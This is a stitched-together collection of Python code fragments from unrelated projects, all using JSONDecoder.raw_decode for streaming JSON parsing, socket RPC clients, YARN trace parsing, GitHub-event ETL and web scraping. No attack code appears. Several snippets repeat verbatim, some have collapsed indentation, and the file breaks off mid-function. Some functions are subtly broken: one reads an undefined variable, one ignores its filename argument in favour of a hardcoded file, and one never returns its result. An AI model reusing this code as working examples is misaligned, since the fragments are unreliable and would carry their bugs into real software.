def validate(self, frag): """ Validate input as correct JSON. If there are multiple JSON entities separated by a space, evaluate them separately. If there is an incomplete JSON array or object, buffer the fragment and wait to see if the object or array completes. Return a list of the valid JSON fragments passed in, or False. """ valid_input = [] jsonObj = [] end = 0 jsonString = "" try: decoder = JSONDecoder() fragLength = len(frag) while end != fragLength: obj, end = decoder.raw_decode(frag, idx=end) jsonObj.append(obj) valid_input.append(jsonObj) return valid_input except ValueError: print "This JSON is not valid. Shutting down now" sys.exit()
def parseJson(s, conn):
"""
Parses the json file and calls populate method for inserting the data into the 'repository' table
input: s- json string
conn- database connection
"""
try:
_w=WHITESPACE.match
decoder = JSONDecoder()
s_len = len(s)
end = 0
while end != s_len:
obj, end = decoder.raw_decode(s, idx=_w(s, end).end())
end = _w(s, end).end()
refType =''
if obj['type'] == 'CreateEvent':
try:
refType = obj['payload']['ref_type']
except Exception as e:
print e
if refType == 'repository':
populateRepoTable(obj, conn)
except Exception as e:
#print 'Error in line:'+str(sys.exc_traceback.tb_lineno)
print sys.exc_traceback.tb_lineno
pass
def validate(self, frag):
"""
Validate input as correct JSON.
If there are multiple JSON entities separated by a space, evaluate them separately.
If there is an incomplete JSON array or object, buffer the fragment and wait to see
if the object or array completes.
Return a list of the valid JSON fragments passed in, or False.
"""
valid_input = []
jsonObj = []
end = 0
jsonString = ""
try:
decoder = JSONDecoder()
fragLength = len(frag)
while end != fragLength:
obj, end = decoder.raw_decode(frag, idx=end)
jsonObj.append(obj)
valid_input.append(jsonObj)
return valid_input
except ValueError:
print "This JSON is not valid. Shutting down now"
sys.exit()
def _read_message(self):
""" Receives a message from the server or raises an RPCError.
Returns:
A header list and a json string payload.
"""
decoder = JSONDecoder()
text_buffer = ""
while True:
try:
read_chunk = self.socket.recv(8192)
except socket.error:
read_chunk = None
if not read_chunk:
raise RPCError("Connection Lost")
cmd_start = 0
cmd_end = read_chunk.find("\00")
while cmd_end != -1:
output = text_buffer + read_chunk[cmd_start:cmd_end]
text_buffer = ""
try:
header, payload_index = decoder.raw_decode(output, 0)
if len(header) < 1 or len(header) > 2:
raise RPCError("Received invalid message header from server")
yield header, output[payload_index:]
except ValueError:
raise RPCError("Received invalid message from server")
cmd_start = cmd_end + 1
cmd_end = read_chunk.find("\00", cmd_start)
text_buffer += read_chunk[cmd_start:]
def parse_sls(self):
""" Parse a YARN SLS trace file. This is a JSON file containing multiple job objects. """
json_decoder = JSONDecoder()
job_objects = []
value_error_pattern = re.compile('Expecting .+ \(char (\d+)\)$')
with open(self.sls_file) as sls_file:
object_chunk = ''
last_error_idx = -1
# Read file in chunks of lines.
for chunk in lines_per_n(sls_file, LINES_TO_READ):
# Remove all whitespace
chunk = chunk.replace(" ", "")
chunk = chunk.replace("\n", "")
# Add (hopefully good) whitespace
chunk = re.sub(r"{", r'{\n', chunk)
chunk = re.sub(r"}", r'}\n', chunk)
chunk = re.sub(r"\[", r'[\n', chunk)
chunk = re.sub(r"\]", r']\n', chunk)
# Further sanitize some JSON stuff
chunk = re.sub(r"{\s*'?(\w)", r'{"\1', chunk)
chunk = re.sub(r",\s*'?(\w)", r',"\1', chunk)
chunk = re.sub(r"(\w)'?\s*:", r'\1":', chunk)
chunk = re.sub(r":\s*'(\w+)'\s*([,}])", r':"\1"\2', chunk)
object_chunk += chunk
# Try to parse chunk read so far.
chunk_parsing_done = False
# Chunk may contain more than one object.
while not chunk_parsing_done:
try:
parse_result = json_decoder.raw_decode(object_chunk)
last_error_idx = -1
except ValueError as e:
m = value_error_pattern.match(e.message)
if m:
# Get the index that the parsing error occurred on.
idx = int(m.group(1))
if last_error_idx == -1 or last_error_idx != idx:
# Chunk is not yet complete, keep reading.
last_error_idx = idx
break
# The error at the current index was not due to an incomplete chunk.
SLSParser._print_chunk(object_chunk)
raise e
# Add decoded job object to array
job_objects.append(parse_result[0])
# Check if there's trailing data from another object
object_end = parse_result[1]
if object_end != len(object_chunk):
# Trim chunk for the next object
object_chunk = object_chunk[object_end + 1:]
if not object_chunk.isspace():
chunk_parsing_done = True
return job_objects
def loads_invalid_obj_list(s):
decoder = JSONDecoder()
s_len = len(s)
objs = []
end = 0
while end != s_len:
obj, end = decoder.raw_decode(s, idx=end)
objs.append(obj)
return objs
def loads_invalid_obj_list(s):
decoder = JSONDecoder()
s_len = len(s)
objs = []
end = 0
while end != s_len:
obj, end = decoder.raw_decode(s, idx=end)
objs.append(obj)
return objs
def loads_invalid_obj_list(s):
decoder = JSONDecoder()
s_len = len(s)
objs = []
end = 0
while end != s_len:
obj, end = decoder.raw_decode(s, idx=end)
objs.append(obj)
#if obj['repository'] is not None:
etlMySQLWatch(obj)
def json_objects(input):
decoder = JSONDecoder()
next_obj_pat = re.compile("\S")
idx = 0
while True:
obj, stop = decoder.raw_decode(contents[idx:])
yield (obj, idx, idx+stop)
m = next_obj_pat.search(contents, idx + stop)
if m:
idx = m.start()
else:
break
def read(self, bs: Union[bytes, bytearray], columns: Dict[str, Type],
options: Options) -> Iterator[JsonValue]:
s = bs.decode('utf8')
decoder = JSONDecoder()
offset = 0
try:
while True:
obj, offset = decoder.raw_decode(s, offset)
offset += 1 # advances past the newline delimiter
yield obj
except JSONDecodeError:
# finally arrived at the end of the string (or actually got malformed json from s3, supposed not to)
pass
def loads_invalid_obj_list(filepass):
s = open(filepass, 'r').readline()
#s=filepass.readline()
# s=unicode_string.encode(s)
decoder = JSONDecoder()
s_len = len(s)
print(len(s))
objs = []
end = 0
while end != s_len:
obj, end = decoder.raw_decode(s, idx=end)
objs.append(obj)
#print (decoder.raw_decode(s,indx=end))
return objs
def loads_invalid_obj_list(s): try: decoder = JSONDecoder() s_len = len(s) end = 0 while end != s_len: obj, end = decoder.raw_decode(s, idx=end) if obj['type'] =='PushEvent' or obj['type'] =='WatchEvent' or obj['type'] =='FollowEvent': etlMySQL(obj) except Exception as e: print 'Error in line:'+str(sys.exc_traceback.tb_lineno) print e pass
def decode(s): try: _w=WHITESPACE.match decoder = JSONDecoder() s_len = len(s) end = 0 while end != s_len: obj, end = decoder.raw_decode(s, idx=_w(s, end).end()) end = _w(s, end).end() if obj['type'] =='PushEvent' or obj['type'] =='WatchEvent' or obj['type'] =='FollowEvent': print obj['type'] etlMySQL(obj) except Exception as e: print 'Error in line:'+str(sys.exc_traceback.tb_lineno) print e pass
async def read_json(
socket: trio.socket.SocketType,
buffer: io.StringIO,
decoder: json.JSONDecoder = decoder,
) -> JSON:
request: JSON
while True:
data = await socket.recv(1024)
buffer.write(data.decode())
bad_prefix, raw_request = strip_non_json_prefix(buffer.getvalue())
if bad_prefix:
logger.info("Client started request with non json data: %r",
bad_prefix)
await write_error(socket, f"Cannot parse json: {bad_prefix}")
raise DecodingError(f"Invalid JSON payload: prefix={bad_prefix}")
if len(raw_request) > MAXIMUM_RPC_PAYLOAD_SIZE:
error_msg = (
f"RPC payload exceeds maximum size: {len(raw_request)} "
f"> {MAXIMUM_RPC_PAYLOAD_SIZE}")
await write_error(socket, error_msg)
raise DecodingError(error_msg)
try:
request, offset = decoder.raw_decode(raw_request)
except json.JSONDecodeError:
# invalid json request, keep reading data until a valid json is formed
if raw_request:
logger.debug(
"Invalid JSON, waiting for rest of message: %r",
raw_request,
)
else:
await trio.sleep(0.01)
continue
buffer.seek(0)
buffer.write(raw_request[offset:])
buffer.truncate()
break
return request
def imgurl_from_id(raw, tbnid):
from json import JSONDecoder
q = '"{}",['.format(tbnid)
start_pos = raw.index(q)
if start_pos < 100:
return
jd = JSONDecoder()
data = jd.raw_decode('[' + raw[start_pos:])[0]
# from pprint import pprint
# pprint(data)
url_num = 0
for x in data:
if isinstance(x, list) and len(x) == 3:
q = x[0]
if hasattr(q, 'lower') and q.lower().startswith('http'):
url_num += 1
if url_num > 1:
return q
def plot_file(self, file):
print("plotting " + file, flush=True)
if "dummy" in file:
return
self.file = self.open(file, "r")
self.filename = file.split("/")[-1].split(".json")[0]
self.fullfilename = file
lines = self.file.read()
while (not lines or len(lines) < 4) and self.seconds > 0:
time.sleep(self.seconds)
lines = self.file.read()
if isinstance(lines, bytes):
lines = lines.decode("utf-8")
try:
progress = json.loads(lines) # valid file
except Exception as e:
# print(e)
# # print("-------------\n")
# print("\n\n" + lines + "\n\n")
try:
progress = json.loads(lines[:-3] + "]") # unclosed list
print("unclosed list json decoding...", flush=True)
except Exception as e: # this is some bug in json.decode (like really, there is some stateful leak that makes this behave differently when called twice)
print(e)
raw = JSONDecoder(
object_hook=None, object_pairs_hook=None
) # solution is to just skip the check for length in the decoding which seems erroneous
progress = raw.raw_decode(lines[:-3] + "]")
print("raw json decoding...", flush=True)
print(progress, flush=True)
extracted = {}
for field in self.filter.fields:
extracted[tuple(field)] = self.filter.extract(field, progress)
print(extracted, flush=True)
self.plot(extracted)
plt.show()
print("Initial plot should be displayed....")
return extracted
def parse_sls(self):
""" Parse a YARN SLS trace file. This is a JSON file containing multiple job objects. """
json_decoder = JSONDecoder()
job_objects = []
with open(self.sls_file) as sls_file:
object_chunk = ''
# Read file in chunks of lines.
for chunk in lines_per_n(sls_file, LINES_TO_READ):
# Remove all whitespace
chunk = chunk.replace(" ", "")
chunk = chunk.replace("\n", "")
# Add (hopefully good) whitespace
chunk = re.sub(r"{", r'{\n', chunk)
chunk = re.sub(r"}", r'}\n', chunk)
chunk = re.sub(r"\[", r'[\n', chunk)
chunk = re.sub(r"\]", r']\n', chunk)
# Further sanitize some JSON stuff
chunk = re.sub(r"{\s*'?(\w)", r'{"\1', chunk)
chunk = re.sub(r",\s*'?(\w)", r',"\1', chunk)
chunk = re.sub(r"(\w)'?\s*:", r'\1":', chunk)
chunk = re.sub(r":\s*'(\w+)'\s*([,}])", r':"\1"\2', chunk)
object_chunk += chunk
# Try to parse chunk read so far.
chunk_parsing_done = False
# Chunk may contain more than one object.
while not chunk_parsing_done:
try:
parse_result = json_decoder.raw_decode(object_chunk)
except ValueError:
# Chunk is not yet complete, keep reading.
break
# Add decoded job object to array
job_objects.append(parse_result[0])
# Check if there's trailing data from another object
object_end = parse_result[1]
if object_end != len(object_chunk):
# Trim chunk for the next object
object_chunk = object_chunk[object_end + 1:]
else:
chunk_parsing_done = True
return job_objects
def parse_message(self, message):
tag, _, data = message.partition(" ")
if tag in CLIENT:
parsed = (CLIENT[tag],)
elif tag in SERVER:
parsed = (SERVER[tag],)
else:
raise ValueError("Unknown message type %s" % tag)
decoder = JSONDecoder()
while data:
data = data.lstrip()
try:
decoded, end = decoder.raw_decode(data)
except JSONDecodeError:
break
else:
parsed += (decoded,)
data = data[end:]
return parsed
def parse_line(cls, line):
role = ""
tag, data = splart(line.strip())
fields = []
if tag.endswith(":"):
role = tag.rstrip(":")
tag, data = splart(data)
decoder = JSONDecoder()
while data:
data = data.lstrip()
try:
decoded, end = decoder.raw_decode(data)
except ValueError:
fields.append(data)
data = ""
else:
fields.append(decoded)
data = data[end:]
return role, tag, fields
def parse_message(self, message):
tag, _, data = message.partition(" ")
if tag in CLIENT:
parsed = (CLIENT[tag], )
elif tag in SERVER:
parsed = (SERVER[tag], )
else:
raise ValueError("Unknown message type %s" % tag)
decoder = JSONDecoder()
while data:
data = data.lstrip()
try:
decoded, end = decoder.raw_decode(data)
except JSONDecodeError:
break
else:
parsed += (decoded, )
data = data[end:]
return parsed
def parse_topo(self):
""" Parse a YARN SLS topology file. This is a JSON file containing multiple rack configurations. """
json_decoder = JSONDecoder()
rack_objects = []
with open(self.topo_file) as topo_file:
lines = "".join(topo_file.readlines()).strip()
done_parsing_file = False
while not done_parsing_file:
try:
rack_object, object_end = json_decoder.raw_decode(lines)
except ValueError as e:
LOG.exception("Unable to parse topology file", exc_info=e)
break
rack_objects.append(rack_object)
if object_end != len(lines):
lines = lines[object_end + 1:]
else:
done_parsing_file = True
return rack_objects
def parse_topo(self):
""" Parse a YARN SLS topology file. This is a JSON file containing multiple rack configurations. """
json_decoder = JSONDecoder()
rack_objects = []
with open(self.topo_file) as topo_file:
lines = "".join(topo_file.readlines()).strip()
done_parsing_file = False
while not done_parsing_file:
try:
rack_object, object_end = json_decoder.raw_decode(lines)
except ValueError as e:
LOG.exception("Unable to parse topology file", exc_info=e)
break
rack_objects.append(rack_object)
if object_end != len(lines):
lines = lines[object_end + 1:]
else:
done_parsing_file = True
return rack_objects
def extract_json_objects(
text: str, decoder: JSONDecoder = JSONDecoder()
) -> Iterator[dict[str, int | dict[Any, Any]]]:
"""Find JSON objects in text, and yield the decoded JSON data
Does not attempt to look for JSON arrays, text, or other JSON types outside
of a parent JSON object.
"""
pos = 0
while True:
match = text.find("{", pos)
if match == -1:
break
try:
result, index = decoder.raw_decode(text[match:])
yield result
pos = match + index
except ValueError:
pos = match + 1
def eventsListBuildFromList(filename):
with open(filename, 'r') as myfile:
s = myfile.read().replace('\n', '')
decoder = JSONDecoder()
s_len = len(s)
Events = []
end = 0
while end != s_len:
Event, end = decoder.raw_decode(s, idx=end)
Events.append(Event)
data = []
for e in Events:
data.append(pandas.DataFrame.from_dict(e, orient='index'))
Events = pandas.concat(data)
for it in range(Events['attribute_count'].size):
if Events['attribute_count'][it] is None:
Events['attribute_count'][it] = '0'
else:
Events['attribute_count'][it] = int(Events['attribute_count'][it])
Events = Events.set_index('id')
return Events
def parse_message(self, message):
tag, _, data = message.partition(" ")
v = self.bolt_version
if tag in CLIENT[v]:
parsed_tag = CLIENT[v][tag]
elif tag in SERVER[v]:
parsed_tag = SERVER[v][tag]
else:
raise ValueError("Unknown message type %s" % tag)
decoder = JSONDecoder()
parsed = []
while data:
data = data.lstrip()
try:
decoded, end = decoder.raw_decode(data)
except JSONDecodeError:
break
else:
parsed.append(decoded)
data = data[end:]
return Structure(parsed_tag, *parsed)
def eventsListBuildFromList(filename):
with open(filename, "r") as myfile:
s = myfile.read().replace("\n", "")
decoder = JSONDecoder()
s_len = len(s)
Events = []
end = 0
while end != s_len:
Event, end = decoder.raw_decode(s, idx=end)
Events.append(Event)
data = []
for e in Events:
data.append(pandas.DataFrame.from_dict(e, orient="index"))
Events = pandas.concat(data)
for it in range(Events["attribute_count"].size):
if Events["attribute_count"][it] is None:
Events["attribute_count"][it] = "0"
else:
Events["attribute_count"][it] = int(Events["attribute_count"][it])
Events = Events.set_index("id")
return Events
def _hosts(self):
if not exists(self.hostlist_path):
logger.warning('{} not found, no hosts configured',
self.hostlist_path)
return
pos = 0
decoder = JSONDecoder()
with open(self.hostlist_path) as file:
document = file.read()
while True:
match = NOT_WHITESPACE.search(document, pos)
if not match:
break
pos = match.start()
obj, pos = decoder.raw_decode(document, pos)
if 'hosts' in obj.keys():
for host in obj['hosts']:
yield Host(hostname=host[1],
port=host[2],
username=host[3],
password=host[4])
def parse_message(self, message):
tag, _, data = message.partition(" ")
v = self.bolt_version
if tag in CLIENT[v]:
parsed_tag = CLIENT[v][tag]
elif tag in SERVER[v]:
parsed_tag = SERVER[v][tag]
else:
raise ValueError("Unknown message type %s" % tag)
decoder = JSONDecoder()
parsed = []
while data:
data = data.lstrip()
try:
decoded, end = decoder.raw_decode(data)
except ValueError:
break
else:
parsed.append(decoded)
data = data[end:]
return Structure(parsed_tag, *parsed)
def eventsListBuildFromList(filename):
with open('testt', 'r') as myfile:
s=myfile.read().replace('\n', '')
decoder = JSONDecoder()
s_len = len(s)
Events = []
end = 0
while end != s_len:
Event, end = decoder.raw_decode(s, idx=end)
Events.append(Event)
data = []
for e in Events:
data.append(pd.DataFrame.from_dict(e, orient='index'))
Events = pd.concat(data)
for it in range(Events['attribute_count'].size):
if Events['attribute_count'][it] == None:
Events['attribute_count'][it]='0'
else:
Events['attribute_count'][it]=int(Events['attribute_count'][it])
Events = Events.set_index('id')
return Events
def scrap_page(self, response):
"""
this function is called after the getting response from the request created in the parse fn.
scrapped data is stored in the directory call scrapedData in the directory myntra/spiders
"""
script = response.xpath(
'/html/body/script[contains(text(),"searchData")]/text()'
).extract_first()
script = script.replace("window.__myx = ", "")
script = self.turn_to_json(script)
decoder = JSONDecoder()
script = decoder.raw_decode(script)[0]
f = open(
os.path.join(datafolder,
response.url.replace('/', '-') + ".csv"), 'w')
products_list = script["searchData"]["results"]["products"]
fieldnames = products_list[0].keys()
dictwriter = DictWriter(f, fieldnames=fieldnames)
dictwriter.writeheader()
for product in products_list:
dictwriter.writerow(product)
f.close()
def send_raw_command(self, name, *args):
""" Send a command providing a structured list of command inputs but no Schema.
Args:
*args <various types>: The command's inputs as python objects
Returns:
A tuple containing a Result object and possibly other native python objects resulting
from a vanilla JSON parse of the function's outputs.
Raises:
RPCError if it was not possible to obtain a result from the host application.
"""
try:
result, reply = self.send_json_command(name, SchemaServices.write(args))
if result.is_rpc_error():
raise RPCError(str(result))
decoder = JSONDecoder()
reply_tuple = (result,) + decoder.raw_decode(reply)
return reply_tuple if len(reply_tuple) != 1 else reply_tuple[0]
except ValueError as e:
raise RPCError(str(e))
def get_messages(
decoder: json.JSONDecoder, buf: str) -> Iterator[Tuple[str, Any]]:
"""Parse individual messages from an input buffer.
:decoder: A json decoder.
:buf: The buffer to decode.
:yield: Tuples of (unused-buf, message).
"""
message = 'dummy'
while buf and message:
message = ''
try:
message, index = decoder.raw_decode(buf)
except json.JSONDecodeError:
log.info(f'Decode error: {buf!r}')
return
except Exception:
f = io.StringIO()
traceback.print_exc(file=f)
log.info(f.getvalue())
raise
buf = buf[index:].lstrip()
yield buf, message
class Client(object):
""" Client for connecting to a Vicon application (for example Shogun Live) using the TerminalServer protocol.
Currently this is a simple implementation that just supports callbacks and blocking functions.
Connection to the server is performed synchronously when the client is created. Note that callbacks
are called from within the client's receive thread and therefore it is not permissible to call any
functions of the client from within callbacks.
If the client was not successful in connecting to the host application, any attempt to send
commands will raise RPCError: NotConnected.
"""
check_schemas_schema = Schema.make_function("Terminal.CheckSchemas", Schema.make_list(Schema(Schema.Type.EString)))
check_schemas_schema.add_input("Schemas", Schema.make_list(Schema.make_ref("Schema")))
SchemaServices.register_schema(None, check_schemas_schema)
def __init__(self, host="localhost", port=52800, connect_timeout_seconds=10, send_timeout_seconds=1, client_failed_callback=None):
""" Initialise with the hostname (or IP address) and port at which the server may be reached.
Args:
host <string>: Name or ip address for the server
port <int>: Server port to connect to.
client_failed_callback < python function taking a string > : optionally supply a function
to be called when the client stops or fails
"""
self.connect_timeout_seconds = connect_timeout_seconds
self.send_timeout_seconds = send_timeout_seconds
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setblocking(send_timeout_seconds)
self.server_endpoint = (host, port)
self.version = None
self.client_failed_callback = client_failed_callback
self.message_id_generator = 0
self.callback_id_generator = 0
self.pending_messages = {}
self.callback_map = {}
self.thread = None
self.condition = Condition(Lock())
self.connected = False
self.decoder = JSONDecoder()
self._message_generator = None
self._connect()
def stop(self):
""" Stop the client and close its connection. """
with self.condition:
try:
self.socket.shutdown(socket.SHUT_RDWR)
self.socket.close()
except socket.error:
pass
self.connected = False
thread = self.thread
if thread:
thread.join()
def server_version(self):
""" Get the protocol version of the server.
Returns:
A tuple (MajorVersionNumber, MinorVersionNumber) or None if unknown. """
return self.version
def check_schemas(self, schema_list):
""" Get the server to confirm if it supports the provided schemas.
returns:
A list of schema type_names for any of the schemas that are NOT supported"""
return self.send_command("Terminal.CheckSchemas", schema_list)
def send_json_command(self, name, json_arg_string="[]"):
""" Send a command, providing the arguments as a single JSON string.
Args:
name <string>: The remote command name.
json_arg_string <string>: The command arguments as a JSON string (should be a valid JSON list)
Returns:
A result code and a JSON string. If the result code does not represent an RPC failure then
the JSON string will contain a valid JSON list containing any additional outputs of the command.
Raises:
RPCError if it was not possible to obtain a result from the host application.
"""
with self.condition:
return self._locked_send_command(name, json_arg_string)
def send_raw_command(self, name, *args):
""" Send a command providing a structured list of command inputs but no Schema.
Args:
*args <various types>: The command's inputs as python objects
Returns:
A tuple containing a Result object and possibly other native python objects resulting
from a vanilla JSON parse of the function's outputs.
Raises:
RPCError if it was not possible to obtain a result from the host application.
"""
try:
result, reply = self.send_json_command(name, SchemaServices.write(args))
if result.is_rpc_error():
raise RPCError(str(result))
decoder = JSONDecoder()
reply_tuple = (result,) + decoder.raw_decode(reply)
return reply_tuple if len(reply_tuple) != 1 else reply_tuple[0]
except ValueError as e:
raise RPCError(str(e))
def send_command(self, name, *args):
""" Send a command by providing the command's name and a structured list of command inputs.
This function requires that the command's schema has been registered with SchemaServices.
If the function fails due to RPC mechanics the function will raise an RPCError.
Args:
schema < Schema >: The command's schema (see schema.Schema).
*args <various types>: The command's inputs as python objects
Returns:
A tuple of command outputs. The first element of this tuple is the command's return value if any.
Raises:
RPCError if it was not possible to obtain a result from the host application.
"""
with self.condition:
if not self.connected:
raise RPCError(str(Result.RPCNotConnected))
schema = SchemaServices.schema(name)
if schema is None:
raise RPCError(name + "Schema is not registered with SchemaServices")
try:
result, reply = self._locked_send_command(name, SchemaServices.write(args))
if result.is_rpc_error():
raise RPCError(str(result))
if schema.sub_schemas and schema.sub_schemas[0][1].role == Schema.Role.EResult:
reply_tuple = (result,) + SchemaServices.read(reply, schema)
else:
reply_tuple = SchemaServices.read(reply, schema)
return reply_tuple if len(reply_tuple) != 1 else reply_tuple[0]
except ValueError as e:
raise RPCError(str(e))
def add_schema_callback(self, callback_name, function, schema):
""" Add a callback, specifying the callback's schema if any.
Warning: Callbacks are called directly from within the client's receive thread. Therefore it is
not safe to call client commands from within callback functions.
Args:
callback_name < string >: The name of the callback.
function < python function >: The function to call when the callback is invoked. The function should
take arguments that correspond to the callback's schema.
schema < Schema >: The callback's schema or 'None'. If 'None' then the 'function' should
take only a single argument that is the JSON string of the callback arguments. Note that
add_schema_callback() does not attempt validate the callback's schema with the server. Use
check_schemas() for this. Incorrect schemas will result in the callback function not being invoked.
Returns:
A result code and a callback id that can be used to remove the callback.
"""
result = Result.Ok
callback_id = 0
with self.condition:
self.callback_id_generator += 1
if callback_name not in self.callback_map:
result, _reply = self._locked_send_command("Terminal.EnableCallback", "[\"" + callback_name + "\",true]")
if result:
callback_id = self.callback_id_generator
self.callback_map[callback_name] = [(callback_id, schema, function)]
else:
callback_id = self.callback_id_generator
self.callback_map[callback_name].append((callback_id, schema, function))
return result, (callback_name, callback_id)
def add_callback(self, callback_name, function):
""" Add a callback.
The callback's schema must have deen registered with SchemaServices.
Warning: Callbacks are called directly from within the client's receive thread. Therefore it is
not safe to call client commands from within callback functions.
Args:
callback_name < string >: The name of the callback (whose schema has been registered with SchemaServices.
Note that add_schema_callback() does not attempt validate the callback's schema with the server. Use
check_schemas() for this. Incorrect schemas will result in the callback function not being invoked.
function < python function >: The function to call when the callback is invoked. The function should
take arguments that correspond to the callback's schema.
Returns:
A result code, and a callback id that can be used to remove the callback or None if the callback could not be added.
"""
schema = SchemaServices.schema(callback_name)
if schema is None:
return Result.NotFound, None
return self.add_schema_callback(callback_name, function, schema)
def remove_callback(self, callback_id):
""" Remove a callback.
Args:
callback_id < int >: A non-zero callback Id returned from a successfull call to add_callback().
Returns:
A result code that indicated success if the callback was removed
"""
with self.condition:
callback_entries = self.callback_map.get(callback_id[0], None)
if callback_entries is None:
return Result.NotFound
callback_entry = next((x for x in callback_entries if x[0] == callback_id[1]), None)
if not callback_entry:
return Result.NotFound
callback_entries.remove(callback_entry)
if not callback_entries:
self._locked_send_command("Terminal.EnableCallback", "[\"" + callback_id[0] + "\",false]")
self.callback_map.pop(callback_id[0])
return Result.Ok
def __enter__(self):
return self
def __exit__(self, type, value, traceback):
self.stop()
def _connect(self):
""" Called by__init__ to connect to server """
deadline_time = datetime.now() + timedelta(seconds=self.connect_timeout_seconds)
if self.socket.connect_ex(self.server_endpoint) == 0:
with self.condition:
self.connected = True
self._message_generator = self._read_message()
self.thread = Thread()
self.thread.run = self._read_loop
self.thread.setDaemon(True)
self.thread.start()
while self.connected and (self.version is None) and datetime.now() < deadline_time:
self.condition.wait(0.1)
if not self.version:
self.connected = False
if self.client_failed_callback:
self.client_failed_callback("Failed to receive server version")
self.client_failed_callback = None
elif self.client_failed_callback:
self.client_failed_callback("Failed to connect to server")
self.client_failed_callback = None
def _locked_send_command(self, name, payload):
""" Sends a command using a command name and a json string argument payload. """
if not self.connected:
return Result.RPCNotConnected, ""
deadline_time = datetime.now() + timedelta(seconds=self.send_timeout_seconds)
self.message_id_generator += 1
message_id = self.message_id_generator
message = "[\"" + name + "\"," + str(message_id) + "]" + payload + "\00"
self.pending_messages[message_id] = (None, "")
self.socket.send(message)
while datetime.now() < deadline_time:
pending_message = self.pending_messages.get(message_id, None)
if pending_message is None:
return Result.RPCFailed, ""
if pending_message[0] is not None:
self.pending_messages.pop(message_id)
return pending_message
self.condition.wait(0.1)
return Result.TimedOut, "Send timeout out after {} seconds".format(self.send_timeout_seconds)
def _read_message(self):
""" Receives a message from the server or raises an RPCError.
Returns:
A header list and a json string payload.
"""
decoder = JSONDecoder()
text_buffer = ""
while True:
try:
read_chunk = self.socket.recv(8192)
except socket.error:
read_chunk = None
if not read_chunk:
raise RPCError("Connection Lost")
cmd_start = 0
cmd_end = read_chunk.find("\00")
while cmd_end != -1:
output = text_buffer + read_chunk[cmd_start:cmd_end]
text_buffer = ""
try:
header, payload_index = decoder.raw_decode(output, 0)
if len(header) < 1 or len(header) > 2:
raise RPCError("Received invalid message header from server")
yield header, output[payload_index:]
except ValueError:
raise RPCError("Received invalid message from server")
cmd_start = cmd_end + 1
cmd_end = read_chunk.find("\00", cmd_start)
text_buffer += read_chunk[cmd_start:]
def _read_server_version(self):
""" Receives and validates the server protocol version. """
header, json_message = next(self._message_generator)
with self.condition:
if header is None or header[0] != "ViconTerminal":
raise RPCError("Server endpoint was not a ViconTerminal")
try:
decoded, _index = self.decoder.raw_decode(json_message, 0)
if len(decoded) == 2 and isinstance(decoded[0], int) and isinstance(decoded[1], int):
self.version = (decoded[0], decoded[1])
self.condition.notify_all()
return
except ValueError:
pass
raise RPCError("Could not interpret ViconTerminal version from server")
def _read_loop(self):
""" Receives replies and callbacks from the Server until a failure is encountered. """
try:
self._read_server_version()
while True:
header, json_message = next(self._message_generator)
if len(header) == 2: # is command reply
command_id = header[0]
result = Result(header[1])
with self.condition:
if command_id in self.pending_messages:
if result.is_rpc_error():
self.pending_messages[command_id] = (result, None)
else:
self.pending_messages[command_id] = (result, json_message)
self.condition.notify_all()
elif len(header) == 1: # is callback
with self.condition:
callback_name = header[0]
callback_entries = self.callback_map.get(callback_name, [])
for callback_entry in callback_entries:
# decode json callback if we have a schema
if callback_entry[1] is not None:
try:
arg_tuple = SchemaServices.read(json_message, callback_entry[1])
callback_entry[2](*arg_tuple)
except Exception as e:
# if the user callback raises, we want to provide the stack trace so they can debug
raise RPCError('User callback raised exception: ' + traceback.format_exc())
# otherwise call the callback with the json text
else:
callback_entry[2](json_message)
except RPCError as e:
# when connection fails we complete all pending messages
with self.condition:
self.pending_messages.clear()
self.connected = False
self.condition.notify_all()
if self.client_failed_callback:
self.client_failed_callback(str(e))
class SocketReadWrite(object):
""" Object that will read and write from a socket. Used primarily as a
base class for the Client and Server, or an instance for nodes.
Logging is done against root logger.
"""
blocking_retry_max = 5
def __init__(self, **kwargs):
self.verbose = kwargs.get('verbose', 0)
peertuple = kwargs.get('peertuple', None)
selectable = kwargs.get('selectable', True)
sock = kwargs.get('sock', None)
# Allow chars such as CRLF. A fresh instance seems to be important
# in a reconnect.
self.jsond = JSONDecoder(strict=False)
if sock is None:
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
else:
self._sock = sock
self._created_blocking = not selectable
self.safe_setblocking()
if peertuple is None:
self._host = ''
self._port = 0
self._str = ''
else: # A dead socket can't getpeername so cache it now
self._host, self._port = peertuple
self._str = '{0}:{1}'.format(*peertuple)
self.clear()
self.inOOB = []
self.outbytes = bytes()
self.blocking_retry = 0
def __str__(self):
return self._str
def safe_setblocking(self, value=None):
'''If None, restore to created value, else use specified value'''
if self._sock is not None:
if value is None:
value = self._created_blocking
self._sock.setblocking(bool(value))
def close(self):
if self._sock is None:
return
try:
self._sock.shutdown(socket.SHUT_RDWR)
except Exception as e: # already closed, whatever
pass
self._sock.close()
self._sock = None # Force AttributeError on methods
self._str += ' (closed)'
def fileno(self):
'''Allows this object to be used in select'''
return -1 if self._sock is None else self._sock.fileno()
def check_blocking_retry_max(self):
self.blocking_retry += 1
time.sleep(.2)
return (self.blocking_retry > self.blocking_retry_max)
def reset_blocking_retry(self):
self.blocking_retry = 0
#----------------------------------------------------------------------
# Send stuff
def send_all(self, obj, JSON=True):
""" Send an object after optional transformation
Args:
obj: the object to be sent, None means work off backlog
Returns:
True or raised error.
"""
self.sent = 0
if JSON:
# Error possible here: "not JSON serializable", let it raise
outbytes = dumps(obj).encode()
else:
outbytes = obj.encode()
logging.info(
'%s: sending %s' %
(self, 'NULL' if obj is None else '%d bytes' % len(outbytes)))
# socket.sendall will do so and return None on success. If not,
# an error is raised with no clue on byte count. Do it myself.
self.outbytes += outbytes
try:
while len(self.outbytes):
# This seems to throw errno 11 on its own, but just in case
# do it myself. BTW, EAGAIN == EWOULDBLOCK
n = self._sock.send(self.outbytes)
if not n:
raise OSError(errno.EWOULDBLOCK, 'full')
self.sent += n
self.outbytes = self.outbytes[n:]
self.reset_blocking_retry()
return True
except BlockingIOError as e:
# Far side is full. FIXME: raising OSError is a weak response
if self.check_blocking_retry_max():
raise OSError(errno.EWOULDBLOCK, 'blocking_retry_max')
except OSError as e:
if e.errno == errno.EPIPE:
msg = 'closed by client'
elif e.errno != errno.EBADF:
msg = 'closed earlier'
msg = '%s: %s' % (self, msg)
raise OSError(errno.ECONNABORTED, msg)
except AttributeError as e:
# During retry of a closed socket. FIXME: delay the close?
raise OSError(errno.ECONNABORTED, 'Socket closed on prior error')
except Exception as e:
